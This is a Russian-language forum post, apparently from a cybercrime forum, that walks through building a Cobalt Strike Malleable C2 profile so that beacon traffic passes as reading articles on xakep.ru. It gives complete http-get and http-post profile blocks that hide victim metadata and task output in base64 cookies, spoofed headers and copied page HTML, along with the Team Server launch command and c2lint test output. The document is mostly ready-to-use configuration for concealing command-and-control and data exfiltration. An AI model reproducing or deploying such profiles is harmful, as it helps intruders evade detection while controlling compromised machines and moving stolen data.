• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Создаем профиль для скрытой передачи данных Cobalt Strike

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Malleable C2 — это мощная функция Cobalt Strike, которая позволяет настраивать и изменять сетевое взаимодействие между маячком и сервером. Это дает злоумышленникам возможность маскировать свой трафик, делая его похожим на легитимные запросы и ответы. Такая маскировка помогает обойти системы обнаружения и затруднить анализ трафика.
В этой статье мы рассмотрим процесс создания и настройки профиля Malleable C2, который будет имитировать легитимные запросы к известным сайтам. Мы детально разберем структуру профиля и посмотрим, как замаскировать его под взаимодействие с реальными сервисами.

warning​


Что такое профиль Malleable C2​

Профиль Malleable C2 позволяет гибко настроить поведение маячка (beacon) Cobalt Strike при взаимодействии с сервером управления (Team Server). Основное назначение профиля Malleable C2 — изменять сетевые запросы и ответы таким образом, чтобы они выглядели как обычный трафик, который не будет вызывать вопросов у систем IDS/IPS. К тому же это усложняет анализ трафика специалистами. Достигается же маскировка путем настройки различных параметров HTTP-запросов и ответов: URI, заголовков, параметров и содержимого запроса.


Как происходит взаимодействие​

Когда маячок запускается на целевой машине, он инициирует транзакцию HTTP-GET к Team Server (запрос при этом может быть как GET, так и POST). В запросе передаются метаданные о скомпрометированной системе. Сервер в ответ отправляет задачи, которые должен выполнить маячок. После завершения задач маячок проверяет наличие данных для отправки и инициирует транзакцию HTTP-POST, содержащую идентификатор сеанса. Сервер использует эту информацию для привязки данных к соответствующему сеансу.

Теперь, когда мы разобрались с основами взаимодействия маячка и сервера, перейдем к настройке профиля Malleable C2.


Структура профиля​

Для запуска Team Server с кастомным профилем необходимо выполнить команду

./teamserver <ip> <pass> <путь к файлу с профилем>
Профиль описывает, как маячок общается с сервером и как происходит постэксплуатация. Выше я говорил, что маячок использует два вида транзакций для обмена данными (HTTP-GET и HTTP-POST). Дальше мы посмотрим, как реализовать это в профиле.


http-get​

В профиле параметр http-get отвечает за передачу метаданных на Team Server и получение задач от него. Он обязан содержать ключи:

  • client — описывает, как будет выглядеть HTTP-запрос от маячка к серверу;
  • server — описывает ответ сервера на запрос.
Ключ client должен иметь параметр metadata, в котором определяются способы обработки отправляемой маячком метаинформации, а ключ server — параметр output, в котором описывается порядок обработки ответа клиенту.

В параметрах client и server еще определяются:

  • uri — описывает URL;
  • header — добавляет HTTP-заголовки к запросу;
  • parameter — добавляет параметры к uri.
В перечисленных параметрах могут использоваться подстановочные знаки или перечисление значений.

Изменять метаданные (metadata) и выводимую информацию (output) помогут следующие выражения:

— append — добавляет строку в конце данных;
— base64 — кодирует данные в Base64;
— base64url — кодирует данные в Base64 для использования в URL;
— mask — выполняет операцию XOR со случайным ключом;
— netbios — кодирует данные в NetBIOS;
— netbiosu — кодирует данные в NetBIOS;
— prepend — добавляет строку перед данными.

Преобразование данных должно заканчиваться одним из следующих операторов, указывающих на место размещения передаваемой информации в HTTP-запросе:

  • header "Cookie" — запишет отправляемые данные в HTTP-заголовок Cookie (может использоваться любой заголовок);
  • parameter "view" — запишет отправляемые данные в параметр view (например, Для просмотра ссылки Войди или Зарегистрируйся<передаваемые_данные>);
  • print — запишет данные в тело HTTP (обязателен для блоков http-get.server.output, http-post.server.output и http-stager.server.output);
  • uri-append — добавит данные в URI.
Структура профиля HTTP-GET будет следующая:

Код:
http-get {

    set uri "/hacker/notes/[set.php|view.php]";

    client {
        # Параметры header и parameter можно пропустить
        header "Accept-Encoding" "gzip, deflate";
        parameter "user" "admin|xaker|helpdesk";
        metadata {
            base64url
            uri-append
        }
    }

    server {
        # Параметры header и parameter можно пропустить
        header "Accept-Encoding" "gzip, deflate";
        parameter "user" "admin|xaker|helpdesk";

        output {
            mask
            base64
            prepend "data="
            print
        }
    }
}

http-post​

Этот параметр отвечает за отправку данных, полученных в результате выполнения задач маячка.

Аналогично транзакции HTTP-GET в HTTP-POST описывается, как отправлять и принимать данные. Для client требуется описать client.id — ID сессии маячка, client.output — данные, отправляемые маячком; server.output, как правило, пустой.

Код:
http-post {
    set uri "/notes/[add.php|delete.php]";

    client {
        header "Flag" "Im not hacker";
        parameter "username" "admin";

        id {
            mask;
            base64url;
            print
        }

        output {
            mask;
            base64url;
            print;
        }
    }

    server {

        output {
            base64url;
            print;
        }
    }
}

Несмотря на названия структур http-get и http-post, мы можем переопределить, какие HTTP-запросы будут использоваться для передачи информации:
Код:
set verb "POST"; # GET or POST
Например:

http-get {
    set uri "/test /qvest";
    set verb "POST";
    client {
        metadata {
            print;
        }
    }
    server {
        output {
            print;
        }
    }
}

Теперь, когда мы познакомились со структурой Malleable C2, мы можем перейти к созданию профиля, который будет маскировать трафик под работу с легитимным сайтом.


Выбираем сайт и наполняем профиль​


Профиль по умолчанию​

Team Server запускается с конфигом по умолчанию. Давай посмотрим на ту часть, которая отвечает за сетевое взаимодействие.

Код:
http-get {

    set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";

    client {
        metadata {
            base64;
            header "Cookie";
        }
    }

Видим, что маячок будет обращаться к Team Server, используя одно из значений, указанных в параметре uri.

info​

Пути из профиля по умолчанию могут использоваться для поиска следов компрометации в инфраструктуре, если злоумышленник не поменял профиль на свой.
Метаинформация маячка кодируется в Base64 и помещается в HTTP-заголовке Cookie.

HTTP-ответ сервера будет содержать заголовок Content-Type с содержимым application/octet-stream. Нагрузка сервера хранится в теле ответа.


Код:
server {
        header "Content-Type" "application/octet-stream";
        output {
            print;
        }
    }
}

Давай теперь рассмотрим случай запроса HTTP-POST. Для транзакции будет использоваться вот такой URI: /submit.php. Заголовок Content-Type — тот же, application/octet-stream. Идентификатор будет передаваться параметром URL, например:

Код:
/submit.php?id=2v78b472834v789b0378b906v
Передаваемые данные — в теле запроса:

http-post {
    set uri "/submit.php";
    client {
        header "Content-Type" "application/octet-stream";
        id {
            parameter "id";
        }
        output {
            print;
        }
    }

Ответ сервера имеет заголовок HTTP Content-Type со значением text/html. Данные — в теле ответа.


Код:
server {
        header "Content-Type" "text/html";

        output {
            print;
        }
    }
}

Давай посмотрим, как это будет выглядеть в трафике. Для тестирования профиля у Cobalt Strike есть скрипт c2lint. Для его запуска пишем:

./c2lint путь к файлу
В профиле было определено, что маяк должен обратиться на один из указанных URI (visit.js), а метаданные должны быть указаны в HTTP-заголовке Cookie в виде Base64. У заголовка ответа сервера должны быть Content-Type: application/octet-stream, а данные — в теле ответа.

Код:
http-get
---
GET /visit.js HTTP/1.1
Cookie: AlZ5bksajXiMR33rpPYp8w==
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)

HTTP/1.1 200 OK                                       Content-Type: application/octet-stream                Content-Length: 64

~Ak&.....E..S;..U.. .%.......:4Hb.+.H...........H+.aY.2`..P..A..

При выполнении транзакции HTTP-POST маяк выполняет POST-запрос на /submit.php и добавляет параметр id, который хранит значение идентификатора сессии; данные выводятся в HTTP-body. Ответ сервера, в свою очередь, должен иметь заголовок Content-Type: text/html.

Код:
http-post
---
POST /submit.php?id=56926 HTTP/1.1                    Content-Type: application/octet-stream
Content-Length: 16                                    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALCJS)
.pi...9..csQ...f
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

Давай на практике убедимся, что рассмотренные нами запросы будут передаваться в трафике в описанном формате.

Транзакция HTTP-GET по умолчанию Транзакция HTTP-GET по умолчанию

Копируем запросы с интересующего ресурса​

Для копирования запросов с сайтов я использую Burp Suite. Он предоставляет возможность локально на компьютере создать HTTPS-прокси, что позволит нам посмотреть трафик за SSL и познакомиться со структурой сайта.

Для примера давай создадим профиль, который будет мимикрировать под просмотр статей на xakep.ru.

HTTP-запрос выглядит следующим образом:

Код:
GET /2024/06/14/detecting-edr-bypass/ HTTP/1.1
Host: xakep.ru
Cookie: _ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; _ym_isad=2; _ym_visorc=w; enPop_sessionId=720a32b1-2be9-11ef-ba22-4a1c703d3d35; _ga_BR3RNXPV1V=GS1.1.1718559957.2.1.1718560215.60.0.0
Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xakep.ru/issues/xa/299/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: keep-alive

Описание транзакции HTTP-GET​

Для написания конфига для транзакции HTTP-GET составим его тело и будем наполнять.

Код:
http-get {
    set uri "";

    client {
        metadata {
            print;
        }
    }
    server {
        output {
            print;
        }
    }
}

Параметр uri будет содержать несколько путей к статьям:

set uri "/2024/06/14/detecting-edr-bypass/ /2024/06/14/youtube-server-side-ads/ /2024/06/14/bifrost-valhall-0day/";

Пути к статьям из Burp
Опишем структуру клиента.

Код:
client {
    header "Referer" "https://xakep.ru/issues/xa/299/";
    header "User-Agent" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36"

    metadata {
        base64;
        prepend "_ym_visorc=w; enPop_sessionId=";
        header "Cookie";
    }
}

Опишем ответ сервера. На рисунке ниже видим, как ответ выглядит в Burp.

Ответ сервера в Burp Suite

Добавим в профиль HTTP-заголовки, аналогичные ответу сервера. Спрячем данные, которые сервер отправляет маяку, для этого используем кодирование Base64 и добавление строк в начале и конце данных. Для этого воспользуемся ключевыми словами base64, prepend и append.

Код:
server {
    header "SERVER" "QRATOR";
    header "Content-Type" "text/html; charset=UTF-8";
    header "Connection" "keep-alive";
    header "Keep-Alive" "timeout=15";
    header "X-Powered-By" "PHP/7.4.32";
    header "Content-Length" "144207";

    output {
        base64;
        prepend "<!DOCTYPE html><html lang='ru-RU' prefix='og: http://ogp.me/ns# article: http://ogp.me/ns/rticle# profile: http://ogp.me/ns/profile# fb: http://ogp.me/ns/fb#'><head><meta charset='UTF-8' /><meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0' /><link rel='profile' href='http://gmpg.org/xfn/11' /><link rel='pingback' href='https://xakep.ru/xmlrpc.php' /><meta name='mailru-verification' content='19264888db6819ce' />";
        append "<title>Детект на связи. Учимся обнаруживать следы атак на EDR — Хакер</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.com' />";
        print;
    }
}

Описание транзакции HTTP-GET будет выглядеть так:
Код:
http-get {

        set uri "/2024/06/14/detecting-edr-bypass/ /2024/06/14/youtube-server-side-ads/ /2024/06/14/bifrost-valhall-0day/";

        client {
            header "Referer" "https://xakep.ru/issues/xa/299/";
            header "User-Agent" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36"

            metadata {
                base64;
                prepend "_ym_visorc=w; enPop_sessionId=";
                header "Cookie";
            }
        }

        server {
            header "SERVER" "QRATOR";
            header "Content-Type" "text/html; charset=UTF-8";
            header "Connection" "keep-alive";
            header "Keep-Alive" "timeout=15";
            header "X-Powered-By" "PHP/7.4.32";
            header "Content-Length" "144207";

            output {
                base64;
                prepend "<!DOCTYPE html><html lang='ru-RU' prefix='og: http://ogp.me/ns# article: http://ogp.me/ns/rticle# profile: http://ogp.me/ns/profile# fb: http://ogp.me/ns/fb#'><head><meta charset='UTF-8' /><meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0' /><link rel='profile' href='http://gmpg.org/xfn/11' /><link rel='pingback' href='https://xakep.ru/xmlrpc.php' /><meta name='mailru-verification' content='19264888db6819ce' />";
                append "<meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.com' />";
                print;
            }
        }
    }

Описание транзакции HTTP-POST​

Снова берем шаблон транзакции и наполняем.

Код:
http-post {
    set uri "";

    client {
        header "" "";
        parameter "" "";

        id {
            print
        }

        output {
            print;
        }
    }

    server {

        output {
            print;
        }
    }
}

Давай переопределим запрос HTTP-POST на HTTP-GET:

set verb "GET";
Укажем URI:

set uri "/pentest";
Заполним информацию о клиенте.


Код:
client {
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36"
        header "Accept" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7";

        id {
            base64;
            prepend "_ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; enPop_sessionId=";
            header "Cookie";
        }

        output {
            base64;
            prepend "Windows-Id=";
            header "Sec-Ch-Ua-Platform";
        }
    }
И опишем ответ сервера.

    server {
        header "Server" "QRATOR";
        header "Content-Type" "text/html; charset=UTF-8";
        header "Connection" "keep-alive";
        header "X-Powered-By" "PHP/7.4.32";

        output {
            print;
        }
    }

В итоге описание транзакции будет выглядеть так:

Код:
http-post {
    set verb "POST";
    set uri "/pentest";

    client {
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36"
        header "Accept" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7";

        id {
            base64;
            prepend "_ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; enPop_sessionId=";
            header "Cookie";
        }

        output {
            base64;
            prepend "Windows-Id=";
            header "Sec-Ch-Ua-Platform";
        }
    }

    server {
        header "Server" "QRATOR";
        header "Content-Type" "text/html; charset=UTF-8";
        header "Connection" "keep-alive";
        header "X-Powered-By" "PHP/7.4.32";

        output {
            print;
        }
    }
}

Настало время проверить работу нашего конфига. Воспользуемся c2lint. Транзакция HTTP-GET выглядит так:

Код:
http-get
---
GET /2024/06/14/bifrost-valhall-0day/ HTTP/1.1
Referer: https://xakep.ru/issues/xa/299
User-Agent: User-Agent                                Cookie: _ym_visorc=w; enPop_sessionId=Y+Rmu3X5xJcpc+jlkbDRpQ==
HTTP/1.1 200 OK                                       SERVER: QRATOR                                        Content-Type: text/html; charset=UTF-8                Connection: keep-alive                                Keep-Alive: timeout=15                                X-Powered-By: PHP/7.4.32                              Content-Length: 717
<!DOCTYPE html><html lang='ru-RU' prefix='og: http://ogp.me/ns# article: http://ogp.me/ns/rticle# profile: http://ogp.me/ns/profile# fb: http://ogp.me/ns/fb#'><head><meta charset='UTF-8' /><meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0' /><link rel='profile' href='http://gmpg.org/xfn/11' /><link rel='pingback' href='https://xakep.ru/xmlrpc.php' /><meta name='mailru-verification' content='19264888db6819ce' />430cMgRMaT8gTPGgDNzPAfnZyiGeXXJPkUEOZQ+FLb2+ALzcJUkpSAUBO9VjwRvdfbwqLi128SPvBKEF9F9jIA==<meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.com' />
А вот транзакция HTTP-POST:

http-post
---
GET /pentest HTTP/1.1                                                                                       User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36                    Accept: Accept                                        Cookie: _ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; enPop_sessionId=MzE5NDk=
Sec-Ch-Ua-Platform: Windows-Id=TwwSfNFjLX1zyqCQ7S75pw==
HTTP/1.1 200 OK
Server: QRATOR                                        Content-Type: text/html; charset=UTF-8                Connection: keep-alive                                X-Powered-By: PHP/7.4.32                             Content-Length: 0
Обрати внимание, что в транзакции HTTP-POST используется запрос HTTP-GET.

Посмотрим, как это выглядит в трафике.



Трафик между Team Server и маяком с новым профилем, HTTP-GET

Трафик между Team Server и маяком с новым профилем, HTTP-POST

В трафике нас выдает только HTTP-заголовок Host, который не похож на адрес xakep.ru. При пентесте или редтиминге оператор Cobalt Strike обычно выбирает какой‑нибудь ресурс, который могут часто смотреть сотрудники тестируемой организации и который не вызовет подозрений.

www​

Для просмотра ссылки Войди или Зарегистрируйся

Выводы​

При использовании C2-фреймворков важно понимать, как происходит взаимодействие между маяком и сервером управления. Использование дефолтных настроек или параметров с GitHub может выдать злоумышленника или пентестера, тогда как составление своих профилей неплохо помогает скрыть присутствие.
 
Activity
So far there's no one here